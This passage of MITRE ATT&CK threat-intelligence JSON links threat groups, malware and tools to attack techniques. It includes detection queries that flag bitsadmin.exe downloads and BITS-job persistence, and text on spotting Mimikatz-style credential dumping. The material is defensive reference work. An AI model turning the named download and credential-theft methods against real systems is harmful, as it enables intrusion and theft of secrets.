executed in sequence.\n\nAnalytic 2 identifies Microsoft Background Intelligent Transfer Service utility <code> bitsadmin.exe </code> using the <code> transfer</code> parameter to download a remote object. In addition, look for <code> download </code> or <code> upload </code> on the command-line, the switches are not required to perform a transfer. Capture any files downloaded. Review the reputation of the IP or domain used. Typically once executed, a follow on command will be used to execute the dropped file. Network connection or file modification events related will not spawn or create from <code> bitsadmin.exe </code>, but the artifacts will appear in a parallel process of <code> svchost.exe </code> with a command-line similar to <code> svchost.exe -k netsvcs -s BITS </code>. It\u2019s important to review all parallel and child processes to capture any behaviors and artifacts. In some suspicious and malicious instances, BITS jobs will be created. You can use <code> bitsadmin /list /verbose </code> to list out the jobs during investigation.\n\n\nAnalytic 1 - BITS Job Persistence\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"C:\\Windows\\System32\\bitsadmin.exe\" AND \n  (CommandLine= \"*create*\" OR\n   CommandLine= \"*addfile*\" OR \n   CommandLine= \"*setnotifyflags*\" OR\n   CommandLine= \"*setnotifycmdline*\" OR\n   CommandLine= \"*setminretrydelay*\" OR \n   CommandLine= \"*setcustomheaders*\" OR\n   CommandLine= \"*resume*\")</code>\n\nAnalytic 2 - BITSAdmin Download File\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"C:\\Windows\\System32\\bitsadmin.exe\" AND CommandLine= *transfer*</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e47397b7-b3c7-4919-ac5e-1f3266ef97e3", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}], "modified": "2020-03-20T18:03:40.118Z", "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) downloads a PowerShell script that decodes to a typical shellcode loader.(Citation: Forcepoint Monsoon)", "relationship_type": "uses", "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e4768282-a422-45b3-9e60-43394063a468", "created": "2019-06-14T16:51:02.166Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Rapid7 KeyBoy Jun 2013", "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/"}, {"source_name": "PWC KeyBoys Feb 2017", "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", "url": "https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:22:36.398Z", "description": "[KeyBoy](https://attack.mitre.org/software/S0387) can launch interactive shells for communicating with the victim machine.(Citation: PWC KeyBoys Feb 2017)(Citation: Rapid7 KeyBoy Jun 2013)", "relationship_type": "uses", "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e47bf587-4bac-4f6b-ac2b-9ca462e95d0a", "created": "2023-09-28T13:29:49.645Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "GitHub Pacu", "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", "url": "https://github.com/RhinoSecurityLabs/pacu"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-13T16:35:37.805Z", "description": "[Pacu](https://attack.mitre.org/software/S1091) leverages valid cloud accounts to perform most of its operations.(Citation: GitHub Pacu)", "relationship_type": "uses", "source_ref": "tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9", "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e47f03aa-09b3-45a2-927d-b2cd96e7c444", "type": "relationship", "created": "2019-01-30T14:00:49.912Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Evasive Maneuvers July 2015", "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop", "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018."}, {"description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/", "source_name": "PaloAlto DNS Requests May 2016"}], "modified": "2019-05-30T18:05:32.837Z", "description": "[APT18](https://attack.mitre.org/groups/G0026) establishes persistence via the <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> key.(Citation: Anomali Evasive Maneuvers July 2015)(Citation: PaloAlto DNS Requests May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e481bd6a-3143-4fd6-b1d9-97d1060f423d", "type": "relationship", "created": "2021-10-07T21:28:23.946Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-07T21:28:23.946Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) attempts to discover accounts from various locations such as a user's Evernote, AppleID, Telegram, Skype, and WeChat data.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e48c9be7-6a02-4170-a63a-204c6308a825", "created": "2022-08-18T15:41:13.583Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DHS CISA AA22-055A MuddyWater February 2022", "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T16:16:24.057Z", "description": "[STARWHALE](https://attack.mitre.org/software/S1037) has the ability to hex-encode collected data from an infected host.(Citation: DHS CISA AA22-055A MuddyWater February 2022)", "relationship_type": "uses", "source_ref": "malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e4946803-e448-4c85-902b-100e4d627ec3", "created": "2021-11-24T19:26:27.469Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) has used spam emails that contain a link that redirects the victim to download a malicious document.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T18:14:04.283Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e4960a7a-c280-4356-8b03-b848c68acd05", "created": "2022-08-07T15:05:05.004Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": " [Action RAT](https://attack.mitre.org/software/S1028) has the ability to collect the username from an infected host.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-15T20:28:15.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--36801ffb-5c85-4c50-9121-6122e389366d", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e496b3d5-3608-49e6-9567-86b370abeeb3", "type": "relationship", "created": "2021-09-20T21:26:58.219Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint Dridex Jan 2021", "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/", "description": "Check Point Research. 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Retrieved January 7, 2021."}], "modified": "2021-01-12T18:29:42.035Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has been spread via e-mail campaigns utilizing malicious attachments.(Citation: Unit 42 NETWIRE April 2020)(Citation: Proofpoint NETWIRE December 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e4d5f735-1629-48f8-9728-f76adf586a0b", "created": "2024-01-18T18:57:42.670Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. 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Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018"}], "modified": "2021-03-29T19:43:26.737Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has performed DLL search order hijacking to execute their payload.(Citation: Nccgroup Emissary Panda May 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e4e36dcb-9c07-4c22-a182-61ac194a434f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Comnie", "description": "Grunzweig, J. (2018, January 31). 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Retrieved November 13, 2018.", "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise", "source_name": "Unit42 SilverTerrier 2018"}], "modified": "2019-04-12T16:33:51.213Z", "description": "(Citation: Unit42 SilverTerrier 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", "target_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e50b989c-9ad6-44c6-8eb7-b44af742cc40", "type": "relationship", "created": "2020-05-26T21:02:38.432Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Netwalker May 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", "description": "Victor, K.. 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Retrieved July 8, 2019."}], "modified": "2021-03-23T18:34:56.922Z", "description": "(Citation: Symantec Waterbug Jun 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "tool--b63970b7-ddfb-4aee-97b1-80d335e033a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e51a1670-52b4-4a0e-b123-7b0ddcf30060", "type": "relationship", "created": "2020-02-20T18:50:53.663Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-25T15:17:30.872Z", "description": "Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e51ab951-2e6f-4c7e-bd10-fe0dc0bb4671", "type": "relationship", "created": "2020-12-23T20:50:54.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. 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(2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}, {"source_name": "Talent-Jump Clambling February 2020", "url": "https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", "description": "Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. 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Retrieved January 7, 2021.", "url": "https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-13T18:16:43.589Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to write collected data to a file created in the <code>./LOGS</code> directory.(Citation: FireEye NETWIRE March 2019)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e55f295e-3531-4f53-bd0e-2c51994d8b44", "created": "2023-01-04T18:07:55.329Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-04T18:42:06.655Z", "description": "[KEYPLUG](https://attack.mitre.org/software/S1051) has used Cloudflare CDN associated infrastructure to redirect C2 communications to malicious domains.(Citation: Mandiant APT41)", "relationship_type": "uses", "source_ref": "malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e562688d-a5e3-4a17-95dd-8ef7488e015e", "type": "relationship", "created": "2021-05-03T19:39:06.514Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Kittens Back 3 August 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", "description": "ClearSky Research Team. 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The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."}], "modified": "2021-06-02T16:31:56.156Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has created fake LinkedIn and other social media accounts to contact targets and convince them--through messages and voice communications--to open malicious links.(Citation: ClearSky Kittens Back 3 August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e56f602c-ec9f-46f0-a52f-45b90220314e", "type": "relationship", "created": "2021-03-15T18:56:36.733Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Trickbot Oct 2020", "url": "https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/", "description": "Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."}], "modified": "2021-03-15T18:56:36.733Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) utilizes EternalBlue and EternalRomance exploits for lateral movement in the modules wormwinDll, wormDll, mwormDll, nwormDll, tabDll.(Citation: ESET Trickbot Oct 2020)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e5706e1a-33a9-4404-9ef8-c8aa428363ec", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender APT28 Dec 2015", "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}, {"url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf", "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", "source_name": "Microsoft SIR Vol 19"}], "modified": "2019-12-20T14:26:01.131Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used CVE-2015-4902 to bypass security features.(Citation: Bitdefender APT28 Dec 2015)(Citation: Microsoft SIR Vol 19)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e5728c4d-d404-44e8-9e28-3411942c5234", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-16T23:56:46.385Z", "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) stages data it copies from the local system or removable drives in the \"%WINDIR%\\$NtUninstallKB885884$\\\" directory.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e57361ca-1d03-4171-86e2-09f8c32cb319", "type": "relationship", "created": "2019-01-31T00:36:41.008Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. 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(2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.", "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-21T14:50:27.535Z", "description": "For [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors obtained and used [Empire](https://attack.mitre.org/software/S0363).(Citation: Talos Frankenstein June 2019)", "relationship_type": "uses", "source_ref": "campaign--26d9ebae-de59-427f-ae9a-349456bae4b1", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac", "type": "relationship", "created": "2017-05-31T21:33:27.064Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/", "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", "source_name": "Scarlet Mimic Jan 2016"}], "modified": "2019-04-22T15:06:12.729Z", "description": "(Citation: Scarlet Mimic Jan 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", "target_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e579ad2d-41c0-4617-8194-eefd4fe2a676", "type": "relationship", "created": "2019-07-29T14:31:28.745Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.", "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/", "source_name": "CarbonBlack RobbinHood May 2019"}], "modified": "2020-03-19T19:26:14.540Z", "description": "[RobbinHood](https://attack.mitre.org/software/S0400) uses cmd.exe on the victim's computer.(Citation: CarbonBlack RobbinHood May 2019)", "relationship_type": "uses", "source_ref": "malware--0a607c53-df52-45da-a75d-0e53df4dad5f", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Ciubotariu 2014", "description": "Ciubotariu, M. (2014, January 23). Trojan.Zeroaccess.C Hidden in NTFS EA. Retrieved December 2, 2014.", "url": "http://www.symantec.com/connect/blogs/trojanzeroaccessc-hidden-ntfs-ea"}], "modified": "2018-10-17T00:14:20.652Z", "description": "Some variants of the [Zeroaccess](https://attack.mitre.org/software/S0027) Trojan have been known to store data in Extended Attributes.(Citation: Ciubotariu 2014)", "relationship_type": "uses", "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f", "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e586bf09-9e31-483c-b935-8341f934e22f", "created": "2022-03-30T14:26:51.858Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Powersploit", "url": "https://github.com/mattifestation/PowerSploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor executed commands and arguments that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Look for command-lines that invoke AuditD or the Security Accounts Manager (SAM). Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.", "modified": "2022-04-20T00:40:01.623Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_attack_spec_version": "2.1.0", 